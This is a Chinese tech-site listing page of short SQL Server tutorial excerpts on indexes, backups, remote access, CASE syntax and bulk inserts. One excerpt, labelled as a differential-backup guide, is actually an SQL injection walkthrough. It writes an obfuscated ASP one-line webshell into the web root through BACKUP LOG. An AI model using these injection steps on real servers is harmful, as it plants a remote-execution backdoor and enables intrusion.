首页 > 资讯列表 >  本页面生成Vive专题报道,Vive滚动新闻,Vive业界评论等相关报道!
  • SQLServer如何保证可空字段中非空值唯一

    SQLServer如何保证可空字段中非空值唯一

    表结构如下面代码创建复制代码代码如下:CREATETABLEtest_tb(TestIdintnotnullidentity(1,1)primarykey,Captionnvarchar(100)null);GO解决方案1:对于这个问题,大家的第一个想法可能是:在Caption这个字段上面加一个唯一键不就可以了吗?好,我们按着这个思路做下去,先创建唯一索引。复制代码代码如下:CREATEUNIQUENONCLUSTEREDINDEXun_test_tbONtest_tb(Caption)GO索引创建好了,我们来测试下效果复制代码代码如下:INSERTINTOtest_tb(Caption)VALUES(null)GOINSERTINTOtest_tb(Caption)VALUES(null)GO运行之后我们会收到下面的错误信息:以下为引用的内容:消息2601,级别14,状态1,第1行不能在具有唯一索引'un_test_tb'的对象'dbo.test_tb'中插入重复键的行...

    数据库操作教程 2022-09-23 20:25:33
  • SQLServer导入、导出、备份数据方法

    SQLServer导入、导出、备份数据方法

    一、导出导入SQLServer里某个数据库  1.在SQLServer企业管理器里选中要转移的数据库,按鼠标右键,选所有任务->备份数据库。  2.备份选数据库-完全,  目的备份到按添加按钮  文件名在SQLServer服务器硬盘下输入一个自定义的备份数据库文件名(后缀一般是bak)  重写选重写现有媒体  最后按确定按钮...

    数据库操作教程 2022-09-23 20:25:10
  • 配置SQLServer2005以允许远程连接的方法

    配置SQLServer2005以允许远程连接的方法

    例如,在使用SQLCMD实用工具连接到SQLServer时收到以下错误消息:复制代码代码如下:Sqlcmd:错误:MicrosoftSQLNativeClient:建立到服务器的连接时发生错误。连接到SQLServer2005时,默认设置SQLServer不允许远程连接这个事实可能会导致失败...

    数据库操作教程 2022-09-23 20:25:03
  • sqlserver用户权限管理,LINQ去除它的重复菜单项

    sqlserver用户权限管理,LINQ去除它的重复菜单项

    Menu,这三个表之间有如下关系:User_Role=>RoleId=>RoleMenuRoleMenu=>MenuId=>Menu它们之间的业务关系是:当用户登陆后,通过UserId得到User_Role列表,将用户所包括的角色得出通过User_Role找到所有对应Menu现在有个问题,就是一个用户可以有多少角色,一个角色有多个菜单,当然,两个不同的角色可以有相当的菜单项,这时,就出现一个问题,用户在“管理员”这个角色里有“文件”这个菜单,同时它在“新闻管理员”这个角色里也有“文件”这个菜单,这样返回就会出现两个完成相同的”文件“菜单,下面,我使用匿名类和distinct方法来解决这个问题,代码如下:复制代码代码如下:classProgram{staticvoidMain(string[]args){#region实体列表初始化List<User_Role>userRole=newList<User_Role>{newUser_Role("01",1),newUser_Role("01",2),newUser_Role("02",1),...

    数据库操作教程 2022-09-23 20:25:01
  • win2003安装sqlserver2005的方法

    win2003安装sqlserver2005的方法

    复制代码代码如下:WindowsRegistryEditorVersion5.00[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion]"ProductId"="69713-640-9722366-45198"[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersion]"CurrentBuild"="1...

    数据库操作教程 2022-09-23 20:24:55
  • 关于SQLServerErrorLog错误日志说明

    关于SQLServerErrorLog错误日志说明

    默认情况下,SQLServer保存7个ErrorLog文件,名为:ErrorLogErrorLog.1ErrorLog.2ErrorLog.3ErrorLog.4ErrorLog.5ErrorLog.6在APACSOS版本6.1中,ErrorLog文件保存在c:ProgramFilesMicrosoftSQLServerMSSQL$WINCCLOG文件夹中。在APACSOS版本7.0中,ErrorLog文件保存在c:ProgramFilesMicrosoftSQLServerMSSQL.1MSSQLLOG文件夹中...

    数据库操作教程 2022-09-23 20:24:38
  • 自动备份mssqlserver数据库并压缩的批处理脚本

    自动备份mssqlserver数据库并压缩的批处理脚本

    1.setbakupfolder=F:backup备份文件存放于目录F:backup(此目录需要事先建好)2.默认每个数据库放置到bakupfolder下的同名的子目录(脚本自动创建)中;设置lay_in_subfolder=0后,将直接放置到bakupfolder3.备份文件名中自动添加备份时的时间字符串,不用担心备份目录下名字重复,也便于管理。4.call:backuponefoofoo是需要备份的数据库,需要备份其它数据库,按同样的方式一行写一条即可5.命令行驱动备份操作:sqlcmd-Usa-P“sa”-Slocalhost-Q“xxx”这里连接数据库的用户名密码都是sa,请改成你的实际用户名密码...

    数据库操作教程 2022-09-23 20:24:26
  • sqlserver中Case的使用方法(上下篇)第1/2页

    sqlserver中Case的使用方法(上下篇)第1/2页

    复制代码代码如下:--简单Case函数CASEsexWHEN'1'THEN'男'WHEN'2'THEN'女'ELSE'其他'END--Case搜索函数CASEWHENsex='1'THEN'男'WHENsex='2'THEN'女'ELSE'其他'END这两种方式,可以实现相同的功能。简单Case函数的写法相对比较简洁,但是和Case搜索函数相比,功能方面会有些限制,比如写判断式...

    数据库操作教程 2022-09-23 20:24:22
  • asp.net使用SqlBulkCopy极速插入数据到SQLServer

    asp.net使用SqlBulkCopy极速插入数据到SQLServer

    按这个来算,我们那个发水票的时间就会由10分钟-->20秒,这可太神奇了。于是乎,下demo,测试,改成自己一般使用的方法测试,NND,还真可以说是极速...

    数据库操作教程 2022-09-23 20:24:20
  • sqlserver手工实现差异备份的步骤

    sqlserver手工实现差异备份的步骤

    手工实现差异备份的步骤字符型:1、恢复当前库;alterdatabase当前库setRECOVERYFULL--2、建表cmd;createtablecmd(aimage)--3、备份当前库到D:cmd1;backuplog当前库todisk='D:cmd1'withinit--4、插入一句话代码到创建的表cmd;insertintocmd(a)values('<%%25**ecute(request("a"))%%25>')-- 5、备份一句话代码到站点根目录;backuplog当前库todisk='D:www_weboct.asp'--6、完成;droptable创建的表--数字型1、恢复当前库';alterdatabase当前库setRECOVERYFULL--2、创建表cmd';createtablecmd(aimage)--3、备份当前库到D:cmd1';backuplog当前库todisk='D:cmd1'withinit--4、插入一句话代码到创建的表cmd';insertintocmd(a)values('<%%25**ecute(reque...

    数据库操作教程 2022-09-23 20:24:10
  • 文本、Excel、Access数据导入SQLServer2000的方法

    文本、Excel、Access数据导入SQLServer2000的方法

    如下所示:复制代码代码如下:"AWU","102300","ZX240-3","2609997000","2609997000","3016924000","","3091775000","","","QCR0000285","""AYE","001800","ZX60","2609997000","2609997000","3016924000","","","","","",""虽然项目开发了应用程序,解析类似的文本文件,并将记录存储到数据库中,但效率显然不及批量导入。为了节约时间,从9:00PM开始,决定先尝试将文本文件导入Excel,再将Excel导入SQLServer2000...

    数据库操作教程 2022-09-23 20:24:03
  • SQLServer2000定时执行SQL语句

    SQLServer2000定时执行SQL语句

    我不知道存储过程等能否实现,但是SQLServer2000的作业调度确实有这样的功能,怎样使某些SQL语句定时执行呢,依次进行下面的操作:企业管理器--管理--SQLServer代理--右键作业--新建作业--“常规”项中输入作业名称--“步骤”项--新建--“步骤名”中输入步骤名--“类型”中选择“Transact-SQL脚本(TSQL)”--“数据库”选择执行命令的数据库--“命令”中输入要执行的语句:INSERT/DELETE...--确定--“调度”项--新建调度--“名称”中输入调度名称--“调度类型”中选择你的作业执行安排--如果选择“反复出现”--点“更改”来设置你的时间安排(我们可以看到,最高的频率是在“每日频率”中将发生周期设置为1分钟,也就是说用这种方法可以保证1分钟的实时性,对于实时性要求不高的应用来说,这就足够了)最后要将SQLAgent服务启动,并设置为自动启动,否则你的作业不会被执设置SQLAgent服务自动启动的方法:我的电脑--控制面板--管理工具--服务--右键SQLSERVERAGENT--属性--启动类型--选择“自动启动”--确定。设置完之后呢,...

    数据库操作教程 2022-09-23 20:24:02

站长搜索

http://www.adminso.com

Copyright @ 2007~2024 All Rights Reserved.

Powered By 站长搜索

打开手机扫描上面的二维码打开手机版


使用手机软件扫描微信二维码

关注我们可获取更多热点资讯

站长搜索目录系统技术支持